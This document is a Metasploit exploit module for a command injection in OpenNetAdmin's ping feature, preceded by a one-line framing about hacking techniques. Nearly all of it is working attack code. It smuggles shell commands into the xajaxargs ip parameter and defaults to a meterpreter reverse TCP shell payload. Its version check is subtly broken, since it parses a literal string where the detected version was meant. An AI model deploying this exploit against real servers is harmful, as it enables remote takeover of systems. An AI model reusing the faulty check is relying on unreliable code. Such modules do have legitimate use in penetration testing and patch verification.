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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'OpenNetAdmin Ping Command Injection',
      'Description'     => %q{
        This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.
      },
      'Author'          =>
        [
          'mattpascoe', # Vulnerability discovery
          'Onur ER <onur@onurer.net>' # Metasploit module
        ],
      'References'      =>
        [
          ['EDB', '47691']
        ],
      'DisclosureDate'  => '2019-11-19',
      'License'         => MSF_LICENSE,
      'Platform'        => 'linux',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Privileged'      => false,
      'Targets'         =>
        [
          ['Automatic Target', {}]
        ],
      'DefaultOptions'  =>
        {
          'RPORT'   => 80,
          'payload' => 'linux/x86/meterpreter/reverse_tcp'
        },
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('VHOST', [false, 'HTTP server virtual host']),
        OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method'        => 'POST',
      'uri'           => normalize_uri(target_uri.path),
      'ctype'         => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'vars_post'     => {
        'xajax'       => 'window_open',
        'xajaxargs[]' => 'app_about'
      }
     })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body =~ /OpenNetAdmin/i
      return CheckCode::Safe
    end

    opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
    version = Gem::Version.new('opennetadmin_version')

    if version
      vprint_status "OpenNetAdmin version #{version}"
    end

    if version >= Gem::Version.new('8.5.14') && version <= Gem::Version.new('18.1.1')
      return CheckCode::Appears
    end

    CheckCode::Detected
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager(flavor: :printf)
  end

  def filter_bad_chars(cmd)
    cmd.gsub!(/chmod \+x/, 'chmod 777')
  end

  def execute_command(cmd, opts = {})
    post_data = "xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;#{filter_bad_chars(cmd)};&xajaxargs[]=ping"

    begin
      send_request_cgi({
        'method'        => 'POST',
        'uri'           => normalize_uri(target_uri.path),
        'ctype'         => 'application/x-www-form-urlencoded',
        'encode_params' => false,
        'data'          => post_data
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end